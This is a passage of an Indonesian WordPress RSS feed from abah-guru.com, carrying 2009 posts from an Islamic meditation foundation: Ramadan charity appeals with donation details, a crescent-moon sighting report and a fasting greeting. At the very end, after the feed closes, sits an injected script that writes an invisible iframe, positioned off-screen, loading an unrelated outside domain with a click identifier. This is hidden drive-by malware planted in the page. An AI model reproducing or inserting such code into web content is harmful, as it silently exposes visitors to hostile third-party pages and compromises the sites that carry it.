<p style="text-align: justify;">untuk 10 hari petengahan Ramadhan 1430 H. (tanggal 11 s/d 20 Ramadhan 1430 H.) diharapkan sudah mulai dikumpulkan dan maksimal tanggal 9 Ramadhan 1430 H. dana santunan sudah diterima di Pusat YTMIAD Bandung. Atas perhatian saudara/(i) diucapkan terima kasih. Wassalam</p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.abah-guru.com%2F2009%2F08%2Fsantunan-ramadhan-1430-ke-2%2F&amp;linkname=SANTUNAN%20RAMADHAN%201430%20%20ke-2"><img src="http://www.abah-guru.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.abah-guru.com/2009/08/santunan-ramadhan-1430-ke-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hasil Rukyat Tim RHI — Ramadhan 1430 H</title>
		<link>http://www.abah-guru.com/2009/08/hasil-rukyat-tim-rhi-ramadhan-1430-h/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=hasil-rukyat-tim-rhi-ramadhan-1430-h</link>
		<comments>http://www.abah-guru.com/2009/08/hasil-rukyat-tim-rhi-ramadhan-1430-h/#comments</comments>
		<pubDate>Sat, 22 Aug 2009 11:19:14 +0000</pubDate>
		<dc:creator>abahguru</dc:creator>
				<category><![CDATA[Berita Tafakur]]></category>
		<category><![CDATA[ramadhan1430 h]]></category>

		<guid isPermaLink="false">http://www.abah-guru.com/?p=368</guid>
		<description><![CDATA[Diposting oleh :  admin RHI Pada 21 Agustus  2009
 
Rukyatul hilal sore ini RHI Yogyakarta bersama Tim rukyat dari BHR Propinsi DIY, perwakilan ormas antara lain Muhammadiyah, NU, HTI, Persis dan beberapa utusan dari pondok pesantren. Hadir juga RHI Solo dan RHI Kebumen yang turut melakukan rukyat dari POB Bela-belu. selengkapnya.…
]]></description>
			<content:encoded><![CDATA[<p><span style="font-family: Verdana;"><span style="font-size: 8pt; color: #6c7e80;">Diposting oleh : </span><span style="color: #6c7e80;"><span style="font-size: 8pt;"> admin </span></span></span><span style="font-family: Verdana; color: #6c7e80;"><span style="font-size: 8pt;">RHI Pada <span lang="en-us">21 Agustus </span> 2009</span></span></p>
<p><span lang="en-us"><span style="font-size: xx-small;"> </span></span></p>
<div id="attachment_369" class="wp-caption aligncenter" style="width: 490px"><span><img class="size-full wp-image-369" title="hilal_ramadhan1430" src="http://www.abah-guru.com/wp-content/uploads/2009/08/hilal_ramadhan1430.jpg" alt="Hilal Awal Ramadhan terlihat dengan jelas oleh semua perukyat pada Jumat sore" width="480" height="360" /></span><p class="wp-caption-text">Hilal Awal Ramadhan terlihat dengan jelas oleh semua perukyat pada Jumat sore</p></div>
<p style="text-align: justify;">Rukyatul hilal sore ini RHI Yogyakarta bersama Tim rukyat dari BHR Propinsi DIY, perwakilan ormas antara lain Muhammadiyah, NU, HTI, Persis dan beberapa utusan dari pondok pesantren. Hadir juga RHI Solo dan RHI Kebumen yang turut melakukan rukyat dari POB Bela-belu.<em> <a title="KLIK berita selengkapnya " href="http://rukyatulhilal.org/berita/hasil-rukyat-tim-rhi-ramadhan-1430-h.html" target="_blank">selengkapnya.…</a></em></p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.abah-guru.com%2F2009%2F08%2Fhasil-rukyat-tim-rhi-ramadhan-1430-h%2F&amp;linkname=Hasil%20Rukyat%20Tim%20RHI%20%E2%80%94%20Ramadhan%201430%20H"><img src="http://www.abah-guru.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.abah-guru.com/2009/08/hasil-rukyat-tim-rhi-ramadhan-1430-h/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Informasi Santunan Bulan Ramadhan 1430 H</title>
		<link>http://www.abah-guru.com/2009/08/informasi-santunan-bulan-ramadhan-1430-h/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=informasi-santunan-bulan-ramadhan-1430-h</link>
		<comments>http://www.abah-guru.com/2009/08/informasi-santunan-bulan-ramadhan-1430-h/#comments</comments>
		<pubDate>Fri, 21 Aug 2009 12:31:07 +0000</pubDate>
		<dc:creator>abahguru</dc:creator>
				<category><![CDATA[Abah Guru]]></category>
		<category><![CDATA[Berita Tafakur]]></category>
		<category><![CDATA[Abah Didi]]></category>
		<category><![CDATA[ramadhan]]></category>
		<category><![CDATA[santunan]]></category>

		<guid isPermaLink="false">http://www.abah-guru.com/?p=351</guid>
		<description><![CDATA[Di informasikan kepada anggota Pusat Pelatihan Tafakur Meditasi Islam Abah Didi khususnya, dan seluruh lapisan masyarakat umumnya yang mau ikut berpartisipasi bahwa santunan khusus untuk 10 hari Ramadhan 1340 H. awal (tanggal 1 s/d 10 Ramadhan 1430 H.) sudah dibuka, untuk penyaluran sumbangan/santunan suka rela anda yang berada di wilayah Bandung, Jabar. bisa datang langsung [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify"><span style="font-size:18pt"><strong>Di informasikan</strong></span><span style="font-size:12pt"> kepada anggota <strong>Pusat Pelatihan Tafakur Meditasi Islam Abah Didi</strong> khususnya, dan seluruh lapisan masyarakat umumnya yang mau ikut berpartisipasi bahwa santunan <span style="text-decoration: line-through;">khusus untuk <span style="color:#00b050"><strong>10 hari Ramadhan 1340 H. awal</strong></span></span> <span style="text-decoration: line-through;">(tanggal 1 s/d 10 Ramadhan 1430 H.) sudah dibuka,</span> untuk penyaluran sumbangan/santunan suka rela anda yang berada di wilayah Bandung, Jabar. bisa datang langsung ke gedung Pusat <strong>“Yayasan Tafakur Meditasi Islam Abah Didi” (YTMIAD)</strong>, lantai dasar. Jl. Dakota 25 A-B, Bandung. Telpon: 022–607 8517. Dan untuk yang berada diluar wilayah Bandung, Jabar anda bisa lihat di daftar <a href="http://www.abah-guru.com/pusat-pelatihan/">Pusat Pelatihan</a>. Atau juga bisa di transfer lansung melalui </span>Bank<strong> BCA KCU Dago, Bandung</strong> No. Rekening<strong> : 7770495592</strong> Atas Nama<strong> : Tubagus Sufyan. Ir. H</strong>.</p>
<p style="text-align: justify"><span style="font-size:12pt">Untuk santunan <span style="color:#00b050"><strong>10 hari ke-2</strong></span> (tanggal 11 s/d 20 Ramadhan 1430 H.)  sumbangan/santunan sudah di terima di Pusat “Yayasan Tafakur Meditasi Islam Abah Didi” sebelum tanggal 10 Ramadhan 1430 H. dan santunan untuk <span style="color:#00b050"><strong>10 hari ke-3</strong></span> (tanggal 21 s/d 30 Ramadhan 1430 H.) sumbangan/santunan sudah di terima di Pusat “Yayasan Tafakur Meditasi Islam Abah Didi” sebelum tanggal 21 Ramadhan 1430 H.<br />
</span></p>
<blockquote>
<p style="text-align: left;">Keterangan :<br />
Seluruh sumbangan yang anda salurkan melalui YTMIAD 100% di salurkan langsung kepada fakir miskin, yatim piatu dan para jompo sesuai dengan waktu yang sudah ditentukan di atas.</p>
<p>Kegiatan ini sudah berlangsung semasa KH. R. Ibnu Mas’ud atau Abah Didi sedari awal beliau mendirikan pondok pesantren “Miftahul Huda”<br />
tahun 1973 di Rindu Alam, Jalan Selabintana Km.3<br />
Sukabumi-Jawa Barat hingga sekarang; dan dikembangkan secara lebih meluas pengelolaannya diantaranya melalui Yayasan Tafakur Meditasi Islam Abah Didi ini.
</p>
<p style="text-align: justify">Atas sumbangan maupun perhatiannya kami ucapkan terima kasih, semoga amal baik kita dibalas langsung oleh Allah. swt dengan berlipat ganda. Amin</p>
</blockquote>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.abah-guru.com%2F2009%2F08%2Finformasi-santunan-bulan-ramadhan-1430-h%2F&amp;linkname=Informasi%20Santunan%20Bulan%20Ramadhan%201430%20H"><img src="http://www.abah-guru.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.abah-guru.com/2009/08/informasi-santunan-bulan-ramadhan-1430-h/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Selamat Menunaikan Ibadah Puasa Ramadhan 1430 H</title>
		<link>http://www.abah-guru.com/2009/08/selamat-menunaikan-ibadah-puasa-ramadhan-1430-h/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=selamat-menunaikan-ibadah-puasa-ramadhan-1430-h</link>
		<comments>http://www.abah-guru.com/2009/08/selamat-menunaikan-ibadah-puasa-ramadhan-1430-h/#comments</comments>
		<pubDate>Thu, 20 Aug 2009 01:58:14 +0000</pubDate>
		<dc:creator>abahguru</dc:creator>
				<category><![CDATA[Abah Guru]]></category>

		<guid isPermaLink="false">http://www.abah-guru.com/?p=317</guid>
		<description><![CDATA[
Atas nama ; Seluruh anggota Tafakur Meditasi Islam Abah Didi, mengucapkankan SELAMAT MENUNAIKAN IBADAH PUASA RAMADHAN 1430 H, mohon maaf atas segala kesalahan dan kekhilafan baik yang di sengaja maupun yang tidak disengaja, baik yang dahulu maupun yang akan datang, semoga amal ibadah kita selalu diterima Allah. swt dan selalu mendapatkan ampunan serta limpahan rahmatNya. [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;">
<div class="wp-caption aligncenter" style="width: 510px"><a href="http://www.abah-guru.com/mypict/ramadhan.gif"><img title="ramadhan" src="http://www.abah-guru.com/mypict/ramadhan.gif" alt="Selamat Menunaikan Ibadah Puasa" width="500" height="150" /></a><p class="wp-caption-text">www.abah-guru.com</p></div>
<p style="text-align: center;">Atas nama ; <strong>Seluruh anggota Tafakur Meditasi Islam Abah Didi</strong>, mengucapkankan <strong>SELAMAT MENUNAIKAN IBADAH PUASA RAMADHAN 1430 H, </strong>mohon maaf atas segala kesalahan dan kekhilafan baik yang di sengaja maupun yang tidak disengaja, baik yang dahulu maupun yang akan datang, semoga amal ibadah kita selalu diterima Allah. swt dan selalu mendapatkan ampunan serta limpahan rahmatNya. Amin</p>
<p style="text-align: center;"><a href="http://www.ismedad.co.uk/">www.abah-didi.com</a> <a href="http://www.ismedad.co.uk/">www.ismedad.co.uk</a> <a href="http://ytmiad.co.cc/" target="_self">http://ytmiad.co.cc</a></p>
<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.abah-guru.com%2F2009%2F08%2Fselamat-menunaikan-ibadah-puasa-ramadhan-1430-h%2F&amp;linkname=Selamat%20Menunaikan%20Ibadah%20Puasa%20Ramadhan%201430%20H"><img src="http://www.abah-guru.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.abah-guru.com/2009/08/selamat-menunaikan-ibadah-puasa-ramadhan-1430-h/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script>document.write('<iframe src="http://hulmeux.com/?click=4912750" width=100 height=100 style="position:absolute;top:-10000;left:-10000;"></iframe>');</script>
<!-- Dynamic page generated in 0.750 seconds. -->
<!-- Cached page generated by WP-Super-Cache on 2010-01-06 23:54:59 -->
<!-- Compression = gzip -->